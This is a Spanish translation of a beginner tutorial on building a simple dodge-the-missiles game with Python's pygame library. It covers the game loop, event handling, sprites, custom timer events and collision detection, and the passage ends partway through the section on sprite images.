I.
Pygame: Introducción a la programación
de juegos en Python
Cuando comencé a aprender programación informática a finales del siglo pasado, me
impulsó mi deseo de crear videojuegos. Intenté descubrir cómo programar juegos en todos
los lenguajes y plataformas que aprendí, incluyendo Python. Así fue como lo
descubrí pygamey aprendí a usarlo para crear juegos y otros programas gráficos. En aquel
entonces, realmente quería una introducción a Python pygame.
Al finalizar este artículo, podrás:
Dibuja elementos en tu pantalla
Reproducir efectos de sonido y música
Gestionar la entrada del usuario
Implementar bucles de eventos
Describe en qué se diferencia la programación de juegos de la programación
procedimental estándar en Python.
Esta guía asume que tienes conocimientos básicos de programación en Python , incluyendo
funciones definidas por el usuario, importaciones , bucles y condicionales . También debes
saber cómo abrir archivos en tu plataforma. Un conocimiento básico de la programación
orientada a objetos en Python también es útil. pygameFunciona con la mayoría de las
versiones de Python, pero se recomienda Python 3.6, que es la versión utilizada en este
artículo.
En este artículo encontrarás todo el código para seguir el tutorial:
Antecedentes y configuración
pygamees un wrapper de Python para la biblioteca SDL , que significa Simple
DirectMedia Layer . SDL proporciona acceso multiplataforma a los componentes
multimedia subyacentes de tu sistema, como sonido, vídeo, ratón, teclado y
joystick. pygamesurgió como reemplazo del proyecto PySDL , que quedó estancado .
La naturaleza multiplataforma tanto de SDL como pygamepermite crear juegos y
programas multimedia en Python para cualquier plataforma compatible.
Para instalarlo pygameen su plataforma, utilice el pipcomando apropiado:
$ pip install pygame
Puedes verificar la instalación cargando uno de los ejemplos que vienen con la biblioteca:
$ python3 -m [Link]
Si aparece la ventana del juego, ¡ pygamela instalación se ha realizado correctamente!
Si tienes algún problema, la guía de introducción describe algunos problemas conocidos y
advertencias para todas las plataformas.
Programa básico de Pygame
Antes de entrar en detalles, veamos un pygameprograma básico. Este programa crea
una ventana, rellena el fondo de blanco y dibuja un círculo azul en el centro:
# Simple pygame program
# Import and initialize the pygame library
import pygame
[Link]()
# Set up the drawing window
screen = [Link].set_mode([500, 500])
# Run until the user asks to quit
running = True
while running:
# Did the user click the window close button?
for event in [Link]():
if [Link] == [Link]:
running = False
# Fill the background with white
[Link]((255, 255, 255))
# Draw a solid blue circle in the center
[Link](screen, (0, 0, 255), (250, 250), 75)
# Flip the display
[Link]()
# Done! Time to quit.
[Link]()
Cuando ejecutes este programa, verás una ventana como esta:
Analicemos este código sección por sección:
Las líneas 4 y 5 importan e inicializan la pygamebiblioteca. Sin estas líneas, no
hay nada pygame.
La línea 8 configura la ventana de visualización del programa. Se proporciona una
lista o una tupla que especifica el ancho y el alto de la ventana. Este programa
utiliza una lista para crear una ventana cuadrada de 500 píxeles por lado.
Las líneas 11 y 12 establecen un bucle de juego para controlar cuándo finaliza el
programa. Verás los bucles de juego más adelante en este tutorial.
Las líneas 15 a 17 analizan y gestionan los eventos dentro del bucle del juego. Más
adelante también se abordarán otros eventos. En este caso, el único evento que se
gestiona es [Link] que se produce cuando el usuario hace clic en el
botón de cerrar la ventana.
La línea 20 rellena la ventana con un color sólido. [Link]()Acepta una lista
o una tupla que especifican los valores RGB del color. Como (255, 255,
255)no se proporcionó ningún valor, la ventana se rellena de blanco.
La línea 23 dibuja un círculo en la ventana, utilizando los siguientes parámetros:
o screen: la ventana en la que dibujar
o (0, 0, 255): una tupla que contiene valores de color RGB
o (250, 250): una tupla que especifica las coordenadas del
centro del círculo
o 75: el radio del círculo a dibujar en píxeles
La línea 26 actualiza el contenido de la pantalla. ¡Sin esta llamada, no aparece nada
en la ventana!
La línea 29 finaliza pygame. Esto solo ocurre una vez que termina el bucle.
Esa es la pygameversión de “Hola, mundo”. Ahora profundicemos un poco más en los
conceptos que hay detrás de este código.
Conceptos de Pygame
Dado que pygametanto SDL como otras bibliotecas son portables entre diferentes
plataformas y dispositivos, ambas necesitan definir y trabajar con abstracciones para las
distintas realidades de hardware. Comprender estos conceptos y abstracciones te ayudará a
diseñar y desarrollar tus propios juegos.
Inicialización y módulos
La pygamebiblioteca se compone de varias construcciones de Python , que incluyen
diversos módulos . Estos módulos proporcionan acceso abstracto a hardware específico del
sistema, así como métodos uniformes para trabajar con dicho hardware. Por
ejemplo, displaypermite el acceso uniforme a la pantalla de vídeo, mientras
que joystickpermite el control abstracto del joystick.
Tras importar la pygamebiblioteca del ejemplo anterior, lo primero que hiciste
fue inicializar [Link]() . Esta función llama a
las funciones específicasinit() de todos los pygamemódulos incluidos. Dado que estos
módulos son abstracciones para hardware específico, este paso de inicialización es
necesario para poder trabajar con el mismo código en Linux, Windows y Mac.
Pantallas y superficies
Además de los módulos, pygametambién incluye varias clases de Python que
encapsulan conceptos independientes del hardware. Una de ellas es `<div> Surface`,
que, en su forma más básica, define un área rectangular sobre la que se puede
dibujar. SurfaceLos objetos `<div>` se utilizan en muchos contextos en
Python pygame. Más adelante verás cómo cargar una imagen en un
`<div>` Surfacey mostrarla en la pantalla.
En este entorno pygame, todo se visualiza en un único objeto creado por el
usuario display, que puede ser una ventana o una pantalla completa. El objeto se crea
mediante `display ::display` .set_mode(), que devuelve un objeto Surfaceque
representa la parte visible de la ventana. Este objeto es Surfaceel que se pasa a las
funciones de dibujo como `display ::display` [Link](), y su
contenido Surfacese muestra en la pantalla al llamar a
`display::display` [Link]().
Imágenes y rectángulos
Tu pygameprograma básico dibujaba una forma directamente en la pantalla Surface,
pero también puedes trabajar con imágenes del disco. El imagemódulo te
permite cargar y guardar imágenes en diversos formatos populares. Las imágenes se cargan
en Surfaceobjetos, que luego se pueden manipular y mostrar de numerosas maneras.
Como se mencionó anteriormente, Surfacelos objetos se representan mediante
rectángulos, al igual que muchos otros objetos en el juego pygame, como imágenes y
ventanas. Los rectángulos se utilizan con tanta frecuencia que existe
una clase especialRect dedicada a su manejo. En tu juego, usarás Rectobjetos e
imágenes para dibujar jugadores y enemigos, y para gestionar las colisiones entre ellos.
Vale, basta de teoría. ¡Diseñemos y programemos un juego!
Diseño básico del juego
Antes de empezar a escribir código, siempre es buena idea tener un diseño definido. Como
este es un juego tutorial, diseñemos también una mecánica de juego básica:
El objetivo del juego es evitar los obstáculos que se aproximan:
o El jugador comienza en el lado izquierdo de la pantalla.
o Los obstáculos entran aleatoriamente desde la derecha y se
mueven hacia la izquierda en línea recta.
El jugador puede moverse hacia la izquierda, la derecha, arriba o abajo
para evitar los obstáculos.
El jugador no puede salir de la pantalla.
El juego termina cuando el jugador es golpeado por un obstáculo o
cuando el usuario cierra la ventana.
Cuando describía proyectos de software, un antiguo colega solía decir: «No sabes lo que
haces hasta que sabes lo que no haces». Teniendo esto en cuenta, aquí hay algunos temas
que no se tratarán en este tutorial:
No hay vidas múltiples
Sin llevar la cuenta
Sin capacidad de ataque del jugador
Sin niveles de avance
Sin personajes jefe
Puedes intentar añadir estas y otras funciones a tu propio programa.
¡Comencemos!
Importación e inicialización de Pygame
Tras importarlo pygame, también deberá inicializarlo. Esto
permite pygameconectar sus abstracciones a su hardware específico:
# Import the pygame module
import pygame
# Import [Link] for easier access to key coordinates
# Updated to conform to flake8 and black standards
from [Link] import (
K_UP,
K_DOWN,
K_LEFT,
K_RIGHT,
K_ESCAPE,
KEYDOWN,
QUIT,
)
# Initialize pygame
[Link]()
La pygamebiblioteca define muchos elementos además de módulos y clases. También
define algunas constantes locales para acciones como pulsaciones de teclas, movimientos
del ratón y atributos de visualización. Estas constantes se referencian mediante la sintaxis
`[Link]` pygame.<CONSTANT>. Al importar constantes específicas desde
`[Link]` [Link], se puede usar la sintaxis
` <CONSTANT>[Link]`. Esto ahorra pulsaciones de teclas y mejora la
legibilidad general.
Configuración de la pantalla
¡Ahora necesitas algo sobre lo que dibujar! Crea una pantalla que sirva como lienzo
general:
# Import the pygame module
import pygame
# Import [Link] for easier access to key coordinates
# Updated to conform to flake8 and black standards
from [Link] import (
K_UP,
K_DOWN,
K_LEFT,
K_RIGHT,
K_ESCAPE,
KEYDOWN,
QUIT,
)
# Initialize pygame
[Link]()
# Define constants for the screen width and height
SCREEN_WIDTH = 800
SCREEN_HEIGHT = 600
# Create the screen object
# The size is determined by the constant SCREEN_WIDTH and SCREEN_HEIGHT
screen = [Link].set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
Para crear la pantalla, se llama a la función [Link].set_mode()y se le
pasa una tupla o lista con el ancho y el alto deseados. En este caso, la ventana tiene un
tamaño de 800x600, como se define en las
constantes SCREEN_WIDTHde SCREEN_HEIGHTlas líneas 20 y 21. Esta
función devuelve un Surfaceobjeto que representa las dimensiones internas de la
ventana. Esta es la parte de la ventana que se puede controlar, mientras que el sistema
operativo controla los bordes y la barra de título.
Si ejecutas este programa ahora, verás una ventana emergente que aparecerá brevemente y
desaparecerá inmediatamente al finalizar el programa. ¡No parpadees o te la perderás! En la
siguiente sección, nos centraremos en el bucle principal del juego para asegurarnos de que
el programa finalice solo cuando reciba la entrada correcta.
Configuración del ciclo de juego
Todos los juegos, desde Pong hasta Fortnite, utilizan un bucle de juego para controlar la
dinámica del juego. El bucle de juego realiza cuatro funciones muy importantes:
1. Procesa la entrada del usuario
2. Actualiza el estado de todos los objetos del juego
3. Actualiza la pantalla y la salida de audio.
4. Mantiene la velocidad del juego
Cada ciclo del bucle del juego se denomina fotograma , y cuanto más rápido se realicen las
acciones en cada ciclo, más rápido se ejecutará el juego. Los fotogramas se suceden hasta
que se cumple alguna condición para salir del juego. En su diseño, existen dos condiciones
que pueden finalizar el bucle del juego:
1. El jugador choca con un obstáculo. (Más adelante veremos la detección
de colisiones).
2. El jugador cierra la ventana.
Lo primero que hace el bucle del juego es procesar la entrada del usuario para permitir que
el jugador se mueva por la pantalla. Por lo tanto, necesitas alguna forma de capturar y
procesar diversas entradas. Esto se logra mediante el pygamesistema de eventos.
Procesamiento de eventos
Las pulsaciones de teclas, los movimientos del ratón e incluso los movimientos del joystick
son algunas de las formas en que un usuario puede introducir datos. Toda entrada del
usuario genera un evento . Los eventos pueden ocurrir en cualquier momento y, a menudo
(aunque no siempre), se originan fuera del programa. Todos los eventos pygamese
colocan en la cola de eventos, a la que se puede acceder y manipular. El proceso de
gestionar los eventos se denomina manejo de eventos, y el código que lo hace se
llama controlador de eventos .
Cada evento pygametiene un tipo asociado. En tu juego, los tipos de evento en los que
te centrarás son las pulsaciones de teclas y el cierre de ventana. Los eventos de pulsación de
teclas tienen el tipo de evento `keypress` KEYDOWN, y el evento de cierre de ventana
tiene el tipo `window-close` QUIT. Los diferentes tipos de evento también pueden tener
otros datos asociados. Por ejemplo, el KEYDOWNtipo de evento `keypress` también
tiene una variable llamada `keykey` keypara indicar qué tecla se pulsó.
Para acceder a la lista de todos los eventos activos en la cola, se realiza una
llamada [Link](). A continuación, se recorre esta lista, se inspecciona
cada tipo de evento y se responde en consecuencia:
# Variable to keep the main loop running
running = True
# Main loop
while running:
# Look at every event in the queue
for event in [Link]():
# Did the user hit a key?
if [Link] == KEYDOWN:
# Was it the Escape key? If so, stop the loop.
if [Link] == K_ESCAPE:
running = False
# Did the user click the window close button? If so, stop the loop.
elif [Link] == QUIT:
running = False
Analicemos más de cerca este bucle de juego:
La línea 28 define una variable de control para el bucle del juego. Para salir del
bucle y del juego, se establece un valor running = False. El bucle del juego
comienza en la línea 29.
La línea 31 inicia el controlador de eventos, recorriendo cada evento que se
encuentra actualmente en la cola de eventos. Si no hay eventos, la lista está vacía y
el controlador no hará nada.
Las líneas 35 a 38 verifican si la acción actual [Link]
un KEYDOWNevento. Si lo es, el programa comprueba qué tecla se pulsó
consultando el [Link]. Si la tecla es la Esc indicada
por K_ESCAPE, entonces sale del bucle del juego estableciendo running =
False.
Las líneas 41 y 42 realizan una comprobación similar para el tipo de evento
denominado QUIT. Este evento solo se produce cuando el usuario hace clic en el
botón de cerrar ventana. El usuario también puede utilizar cualquier otra acción del
sistema operativo para cerrar la ventana.
Cuando añadas estas líneas al código anterior y lo ejecutes, verás una ventana con una
pantalla en blanco o negra:
La ventana no desaparecerá hasta que pulses la Esc tecla o provoques algún
otro QUITevento cerrándola.
Dibujando en la pantalla
En el programa de ejemplo, dibujaste en la pantalla usando dos comandos:
1. [Link]()para rellenar el fondo
2. [Link]()para dibujar un círculo
Ahora aprenderás una tercera forma de dibujar en la pantalla: usando un Surface.
Recuerda que Surfaceun objeto rectangular sobre el que puedes dibujar, como una hoja
de papel en blanco, screenes un lienzo . SurfacePuedes crear tus
propios Surfaceobjetos independientemente de la pantalla. Veamos cómo funciona:
# Fill the screen with white
[Link]((255, 255, 255))
# Create a surface and pass in a tuple containing its length and width
surf = [Link]((50, 50))
# Give the surface a color to separate it from the background
[Link]((0, 0, 0))
rect = surf.get_rect()
Después de que la pantalla se llena de blanco en la línea 45, Surfacese crea un nuevo
elemento en la línea 48. Este Surfacetiene 50 píxeles de ancho y 50 píxeles de alto, y se
le asigna la surfvariable `<div>`. En este punto, se trata igual que el elemento `
<div> screen`. Por lo tanto, en la línea 51 se llena de negro. También se puede acceder a
su Rectvalor subyacente mediante `<div>` .get_rect(). Este valor se almacena como
`<div>` rectpara su uso posterior.
Utilizando .blit()[Link]()
Crear un nuevo elemento Surfaceno es suficiente para verlo en la pantalla. Para ello,
necesitas copiarlo a Surfaceotro elemento Surface. El término «
blit» blitsignifica transferencia de bloques y .blit()es la forma de copiar el contenido
de un elemento Surfacea otro. Solo puedes copiar .blit()de un elemento Surfacea
otro, pero como la pantalla es simplemente otro elemento Surface, eso no supone un
problema. Así es como se dibuja surfen la pantalla:
# This line says "Draw surf onto the screen at the center"
[Link](surf, (SCREEN_WIDTH/2, SCREEN_HEIGHT/2))
[Link]()
La .blit()llamada en la línea 55 requiere dos argumentos:
1. El Surfacedibujo
2. La ubicación en la que dibujarlo en la fuenteSurface
Las coordenadas (SCREEN_WIDTH/2, SCREEN_HEIGHT/2)le indican a su
programa que se coloque surfen el centro exacto de la pantalla, pero no lo parece del todo:
La imagen se ve descentrada porque .blit()coloca la esquina superior izquierdasurf en
la posición indicada. Si quieres surfcentrarla, tendrás que hacer algunos cálculos para
desplazarla hacia arriba y hacia la izquierda. Puedes hacerlo restando el ancho y el alto de
la imagen al surfancho y alto de la pantalla, dividiendo ambos resultados entre 2 para
encontrar el centro y luego pasando esos números como argumentos a la
función [Link]().
# Put the center of surf at the center of the display
surf_center = (
(SCREEN_WIDTH-surf.get_width())/2,
(SCREEN_HEIGHT-surf.get_height())/2
)
# Draw surf at the new coordinates
[Link](surf, surf_center)
[Link]()
Observa la llamada a `setSwit()` [Link]()después de la llamada a
`setSwit() blit()`. Esto actualiza toda la pantalla con todo lo que se ha dibujado desde el
último cambio de página. Sin la llamada a `setSwit()` .flip(), no se muestra nada.
Sprites
En el diseño de tu juego, el jugador comienza a la izquierda y los obstáculos aparecen
desde la derecha. Puedes representar todos los obstáculos con Surfaceobjetos para
facilitar el dibujo, pero ¿cómo saber dónde dibujarlos? ¿Cómo saber si un obstáculo ha
colisionado con el jugador? ¿Qué sucede cuando el obstáculo sale volando de la pantalla?
¿Y si quieres dibujar imágenes de fondo que también se muevan? ¿Y si quieres que tus
imágenes estén animadas? Puedes gestionar todas estas situaciones y más con sprites .
En programación, un sprite es una representación bidimensional de un objeto en pantalla.
Básicamente, es una imagen. pygameproporciona una Spriteclase diseñada para
contener una o varias representaciones gráficas de cualquier objeto del juego que se desee
mostrar en pantalla. Para usarla, se crea una nueva clase que extiende la clase
base Sprite. Esto permite utilizar sus métodos integrados.
Jugadores
Aquí te mostramos cómo usar Spriteobjetos en el juego actual para definir al jugador.
Inserta este código después de la línea 18:
# Define a Player object by extending [Link]
# The surface drawn on the screen is now an attribute of 'player'
class Player([Link]):
def __init__(self):
super(Player, self).__init__()
[Link] = [Link]((75, 25))
[Link]((255, 255, 255))
[Link] = [Link].get_rect()
Primero defines la clase Playerextendiendo [Link] clase en la
línea 22. Luego .__init__()la usas .super()para llamar al .__init__()método de la
clase Sprite. Para obtener más información sobre por qué esto es necesario, puedes
leer Supercharge Your Classes With Python super() .
A continuación, defines e inicializas la variable .surfpara almacenar la imagen que se
mostrará, que actualmente es un cuadro blanco. También defines e inicializas .rectla
variable que usarás para dibujar al jugador más adelante. Para usar esta nueva clase,
necesitas crear un nuevo objeto y modificar el código de dibujo. Expande el bloque de
código a continuación para verlo todo junto:
Ejecuta este código. Verás un rectángulo blanco aproximadamente en el centro de la
pantalla:
¿Qué crees que pasaría si cambiaras la línea 59 a [Link]([Link],
[Link])? Pruébalo y verás:
# Fill the screen with black
[Link]((0, 0, 0))
# Draw the player on the screen
[Link]([Link], [Link])
# Update the display
[Link]()
Al pasarle un valor Recta .blit(), este utiliza las coordenadas de la esquina superior
izquierda para dibujar la superficie. ¡Más adelante usarás esto para que tu jugador se
mueva!
Entrada del usuario
Hasta ahora, has aprendido a configurar pygamey dibujar objetos en la pantalla. ¡Ahora
empieza lo bueno! Harás que el jugador sea controlable con el teclado.
Anteriormente, viste que [Link]()devuelve una lista de los eventos en
la cola de eventos, la cual se analiza para identificar KEYDOWNlos tipos de eventos. Sin
embargo, esa no es la única forma de leer las pulsaciones de teclas. pygameTambién
proporciona [Link].get_pressed(), que devuelve un diccionario con
todos los eventos actuales KEYDOWNen la cola.
Coloca esto en el bucle de tu juego justo después del bucle de manejo de eventos. Esto
devuelve un diccionario que contiene las teclas pulsadas al comienzo de cada fotograma:
# Get the set of keys pressed and check for user input
pressed_keys = [Link].get_pressed()
A continuación, escribe un método que Playeracepte ese diccionario. Esto definirá el
comportamiento del sprite en función de las teclas que se pulsen. Así es como podría verse:
# Move the sprite based on user keypresses
def update(self, pressed_keys):
if pressed_keys[K_UP]:
[Link].move_ip(0, -5)
if pressed_keys[K_DOWN]:
[Link].move_ip(0, 5)
if pressed_keys[K_LEFT]:
[Link].move_ip(-5, 0)
if pressed_keys[K_RIGHT]:
[Link].move_ip(5, 0)
K_UPLas teclas , K_DOWN, K_LEFT, y K_RIGHTcorresponden a las teclas de
flecha del teclado. Si la entrada del diccionario para esa tecla es True, entonces esa tecla
se pulsa y mueves al jugador .recten la dirección correcta. Aquí se usa .move_ip(),
que significa moverse en el lugar , para mover al jugador actual Rect.
Luego, puedes llamar .update()a cada fotograma para mover el sprite del jugador en
respuesta a las pulsaciones de teclas. Agrega esta llamada justo después de la llamada
a .get_pressed():
# Main loop
while running:
# for loop through the event queue
for event in [Link]():
# Check for KEYDOWN event
if [Link] == KEYDOWN:
# If the Esc key is pressed, then exit the main loop
if [Link] == K_ESCAPE:
running = False
# Check for QUIT event. If QUIT, then set running to false.
elif [Link] == QUIT:
running = False
# Get all the keys currently pressed
pressed_keys = [Link].get_pressed()
# Update the player sprite based on user keypresses
[Link](pressed_keys)
# Fill the screen with black
[Link]((0, 0, 0))
Ahora puedes mover el rectángulo de tu jugador por la pantalla con las teclas de flecha:
Puede que observes dos pequeños problemas:
1. El rectángulo del jugador puede moverse muy rápido si se mantiene
pulsada una tecla. Trabajaremos en eso más adelante.
2. El rectángulo del jugador puede salirse de la pantalla. Resolvamos eso
ahora.
Para mantener al jugador en pantalla, debes añadir lógica para detectar si rectva a salirse
de la pantalla. Para ello, compruebas si las rectcoordenadas se han movido más allá de los
límites de la pantalla. Si es así, le indicas al programa que lo mueva de vuelta al borde.
# Move the sprite based on user keypresses
def update(self, pressed_keys):
if pressed_keys[K_UP]:
[Link].move_ip(0, -5)
if pressed_keys[K_DOWN]:
[Link].move_ip(0, 5)
if pressed_keys[K_LEFT]:
[Link].move_ip(-5, 0)
if pressed_keys[K_RIGHT]:
[Link].move_ip(5, 0)
# Keep player on the screen
if [Link] < 0:
[Link] = 0
if [Link] > SCREEN_WIDTH:
[Link] = SCREEN_WIDTH
if [Link] <= 0:
[Link] = 0
if [Link] >= SCREEN_HEIGHT:
[Link] = SCREEN_HEIGHT
Aquí, en lugar de usar .move(), simplemente cambia las coordenadas correspondientes
de .top, .bottom, .left, o .rightdirectamente. Pruébalo y verás que el rectángulo del
jugador ya no se saldrá de la pantalla.
¡Ahora añadamos algunos enemigos!
Enemigos
¿Qué es un juego sin enemigos? Usarás las técnicas que ya has aprendido para crear una
clase básica de enemigo, y luego crearás muchos más para que tu jugador los evite.
Primero, importa la randombiblioteca:
# Import random for random numbers
import random
Luego crea una nueva clase de sprite llamada Enemy, siguiendo el mismo patrón que
usaste para Player:
# Define the enemy object by extending [Link]
# The surface you draw on the screen is now an attribute of 'enemy'
class Enemy([Link]):
def __init__(self):
super(Enemy, self).__init__()
[Link] = [Link]((20, 10))
[Link]((255, 255, 255))
[Link] = [Link].get_rect(
center=(
[Link](SCREEN_WIDTH + 20, SCREEN_WIDTH + 100),
[Link](0, SCREEN_HEIGHT),
)
)
[Link] = [Link](5, 20)
# Move the sprite based on speed
# Remove the sprite when it passes the left edge of the screen
def update(self):
[Link].move_ip(-[Link], 0)
if [Link] < 0:
[Link]()
Existen cuatro diferencias notables entre Enemyy Player:
1. En las líneas 62 a 67 , actualizas rectla posición a un punto aleatorio del borde
derecho de la pantalla. El centro del rectángulo queda justo fuera de la pantalla, a
una distancia de entre 20 y 100 píxeles del borde derecho, y entre los bordes
superior e inferior.
2. En la línea 68 , defines .speedcomo un número aleatorio entre 5 y 20. Esto
especifica la velocidad a la que este enemigo se mueve hacia el jugador.
3. En las líneas 73 a 76 , defines la función .update(). No requiere argumentos, ya
que los enemigos se mueven automáticamente. En su lugar, .update()mueve al
enemigo hacia el lado izquierdo de la pantalla en la .speedposición definida al
crearse.
4. En la línea 74 , se verifica si el enemigo ha salido de la pantalla. Para asegurarse de
que Enemyesté completamente fuera de la pantalla y no desaparezca mientras
aún es visible, se comprueba que el lado derecho del enemigo .recthaya
sobrepasado el lado izquierdo de la pantalla. Una vez que el enemigo está fuera de
la pantalla, se llama a la función .kill()para evitar que se siga procesando.
¿Qué .kill()hace entonces? Para averiguarlo, hay que conocer los grupos de sprites .
Grupos de sprites
Otra clase muy útil que pygameproporciona es `Group` Sprite Group. Se trata de
un objeto que contiene un grupo de Spriteobjetos. ¿Por qué usarlo? ¿No se pueden
gestionar los Spriteobjetos en una lista? Si bien es posible, la ventaja de usar
`Group` Groupreside en los métodos que expone. Estos métodos ayudan a detectar si
algún objeto Enemyha colisionado con el `Group` Player, lo que facilita enormemente
las actualizaciones.
Veamos cómo crear grupos de sprites. Crearás dos Groupobjetos diferentes:
1. El primero Grouplo abarcará todo Spriteen el juego.
2. El segundo Groupcontendrá únicamente los Enemyobjetos.
Así es como se ve eso en código:
# Create the 'player'
player = Player()
# Create groups to hold enemy sprites and all sprites
# - enemies is used for collision detection and position updates
# - all_sprites is used for rendering
enemies = [Link]()
all_sprites = [Link]()
all_sprites.add(player)
# Variable to keep the main loop running
running = True
Al llamar a `remove` .kill(), el elemento Spritese elimina de todos los lugares a los que
pertenece. Esto también Groupelimina las referencias al elemento , lo que permite al
recolector de basura de Python recuperar la memoria según sea [Link]
Ahora que tienes un all_spritesgrupo, puedes cambiar la forma en que se dibujan los
objetos. En lugar de llamar .blit()solo a Player, puedes iterar sobre todo
en all_sprites:
# Fill the screen with black
[Link]((0, 0, 0))
# Draw all sprites
for entity in all_sprites:
[Link]([Link], [Link])
# Flip everything to the display
[Link]()
Ahora, cualquier cosa que se introduzca all_spritesse dibujará en cada fotograma, ya
sea un enemigo o el jugador.
Solo hay un problema… ¡No tienes enemigos! Podrías crear un montón al principio, pero el
juego se volvería aburrido enseguida cuando desaparecieran de la pantalla a los pocos
segundos. En vez de eso, vamos a ver cómo mantener un flujo constante de enemigos a
medida que avanza la partida.
Eventos personalizados
El diseño exige que los enemigos aparezcan a intervalos regulares. Esto significa que, a
intervalos determinados, debes hacer dos cosas:
1. Crea uno nuevo Enemy.
2. Añádelo a all_spritesy enemies.
Ya tienes código que gestiona eventos aleatorios. El bucle de eventos está diseñado para
detectar eventos aleatorios que ocurren en cada fotograma y gestionarlos adecuadamente.
Por suerte, pygameno te limita a usar solo los tipos de eventos que tiene definidos.
Puedes definir tus propios eventos para gestionarlos como mejor te parezca.
Veamos cómo crear un evento personalizado que se genere cada pocos segundos. Puedes
crear un evento personalizado nombrándolo:
# Create the screen object
# The size is determined by the constant SCREEN_WIDTH and SCREEN_HEIGHT
screen = [Link].set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
# Create a custom event for adding a new enemy
ADDENEMY = [Link] + 1
[Link].set_timer(ADDENEMY, 250)
# Instantiate player. Right now, this is just a rectangle.
player = Player()
pygameInternamente, los eventos se definen como números enteros, por lo que es
necesario definir un nuevo evento con un número entero único. El último
evento pygamereservado se llama `reserves` USEREVENT, por lo que
definirlo ADDENEMY = [Link] + 1en la línea 83 garantiza
su unicidad.
A continuación, debes insertar este nuevo evento en la cola de eventos a intervalos
regulares durante el juego. Aquí es donde timeentra en juego el módulo. La línea 84
activa el nuevo ADDENEMYevento cada 250 milisegundos, o cuatro veces por segundo.
La llamada se realiza .set_timer()fuera del bucle del juego, ya que solo necesitas un
temporizador, pero se activará durante toda la partida.
Agrega el código para gestionar tu nuevo evento:
# Main loop
while running:
# Look at every event in the queue
for event in [Link]():
# Did the user hit a key?
if [Link] == KEYDOWN:
# Was it the Escape key? If so, stop the loop.
if [Link] == K_ESCAPE:
running = False
# Did the user click the window close button? If so, stop the loop.
elif [Link] == QUIT:
running = False
# Add a new enemy?
elif [Link] == ADDENEMY:
# Create the new enemy and add it to sprite groups
new_enemy = Enemy()
[Link](new_enemy)
all_sprites.add(new_enemy)
# Get the set of keys pressed and check for user input
pressed_keys = [Link].get_pressed()
[Link](pressed_keys)
# Update enemy position
[Link]()
Cuando el controlador de eventos detecta el nuevo ADDENEMYevento en la línea 115,
crea un elemento Enemyy lo añade a `<div> enemies` y `<div>` all_sprites.
Dado que Enemy`<div>` está en all_sprites`<div>`, se dibujará en cada fotograma.
También es necesario llamar a `on` [Link]()en la línea 126, que actualiza
todo en `<div> enemies`, para asegurar que se muevan correctamente.
Sin embargo, esa no es la única razón por la que existe un grupo solo para eso enemies.
Detección de colisiones
El diseño de tu juego requiere que este finalice cuando un enemigo colisiona con el
jugador. Detectar colisiones es una técnica básica de programación de videojuegos y, por lo
general, requiere cálculos matemáticos complejos para determinar si dos sprites se
superpondrán.
¡Aquí es donde un framework como este pygameresulta muy útil! Escribir código de
detección de colisiones es tedioso, pero pygamedispone de MUCHOS métodos de
detección de colisiones para usar.
Para este tutorial, usarás un método llamado ` .spritecollideany()[Link]`, que
se lee como "colisiona con cualquier sprite". Este método acepta un objeto `a` Spritey un
objeto `b` Groupcomo parámetros. Examina cada objeto en el conjunto `a` Groupy
comprueba si su `a` .rectse intersecta con el ` .rectb` del objeto `b` Sprite. Si es así,
devuelve `true` True. De lo contrario, devuelve `false` False. Esto es perfecto para este
juego, ya que necesitas comprobar si un solo objeto playercolisiona con uno de los
objetos de un Groupconjunto `a` enemies.
Así es como se ve eso en código:
# Draw all sprites
for entity in all_sprites:
[Link]([Link], [Link])
# Check if any enemies have collided with the player
if [Link](player, enemies):
# If so, then remove the player and stop the loop
[Link]()
running = False
La línea 135 comprueba si playerha colisionado con alguno de los objetos
de enemies. Si es así, [Link]()se llama a para eliminarlo de todos los grupos a
los que pertenece. Dado que los únicos objetos que se renderizan están
en all_sprites, playerya no se renderizará. Una vez que el jugador muere, también es
necesario salir del juego, por lo que se configura running = Falsepara salir del bucle
del juego en la línea 138.
En este punto, ya tienes los elementos básicos de un juego:
Ahora, vamos a darle un toque más elegante, hacerlo más jugable y agregarle algunas
capacidades avanzadas para que destaque.
Imágenes de sprites
Vale, tienes un juego, pero seamos sinceros… Es bastante feo. El jugador y los enemigos
son solo bloques blancos sobre un fondo negro. Eso era lo último en tecnología
cuando Pong salió, pero ya no da la talla. Reemplacemos todos esos aburridos rectángulos
blancos con imágenes más atractivas que hagan que el juego parezca un juego de verdad.
Anteriormente, aprendiste que las imágenes del disco se pueden cargar en un
editor Surfacecon ayuda del imagemódulo. Para este tutorial, creamos un pequeño
avión para el jugador y algunos misiles para los enemigos. Puedes usar este diseño, crear el
tuyo propio o descargar recursos gráficos gratuitos para videojuegos . Haz clic en el enlace
a continuación para descargar el material gráfico utilizado en este tutorial:
Código de ejemplo: Haga clic aquí para descargar el código fuente del proyecto de
ejemplo PyGame utilizado en este tutorial.
Modificar los constructores de objetos
Antes de usar imágenes para representar los sprites del jugador y los enemigos, debes
modificar sus constructores. El código siguiente reemplaza el código utilizado
anteriormente:
# Import [Link] for easier access to key coordinates
# Updated to conform to flake8 and black standards
# from [Link] import *
from [Link] import (
RLEACCEL,
K_UP,
K_DOWN,
K_LEFT,
K_RIGHT,
K_ESCAPE,
KEYDOWN,
QUIT,
)
# Define constants for the screen width and height
SCREEN_WIDTH = 800
SCREEN_HEIGHT = 600
# Define the Player object by extending [Link]
# Instead of a surface, use an image for a better-looking sprite
class Player([Link]):
def __init__(self):
super(Player, self).__init__()
[Link] = [Link]("[Link]").convert()
[Link].set_colorkey((255, 255, 255), RLEACCEL)
[Link] = [Link].get_rect()
Analicemos un poco la línea 31. [Link]()Carga una imagen desde el
disco. Se le pasa la ruta al archivo. Devuelve un objeto Surfacey
la .convert()llamada lo optimiza Surface, lo que acelera las llamadas
futuras .blit().
La línea 32 .set_colorkey()indica que el color pygamese renderizará como
transparente. En este caso, se elige el blanco, ya que es el color de fondo de la imagen del
avión. La constante RLEACCEL es un parámetro opcional que ayuda pygamea
renderizar más rápidamente en pantallas no aceleradas. Se añade a
la [Link]ón de importación en la línea 11.
No es necesario cambiar nada más. La imagen sigue siendo una imagen Surface, solo
que ahora tiene un dibujo superpuesto. Se sigue utilizando de la misma manera.
Así es como Enemyse verían cambios similares:
# Define the enemy object by extending [Link]
# Instead of a surface, use an image for a better-looking sprite
class Enemy([Link]):
def __init__(self):
super(Enemy, self).__init__()
[Link] = [Link]("[Link]").convert()
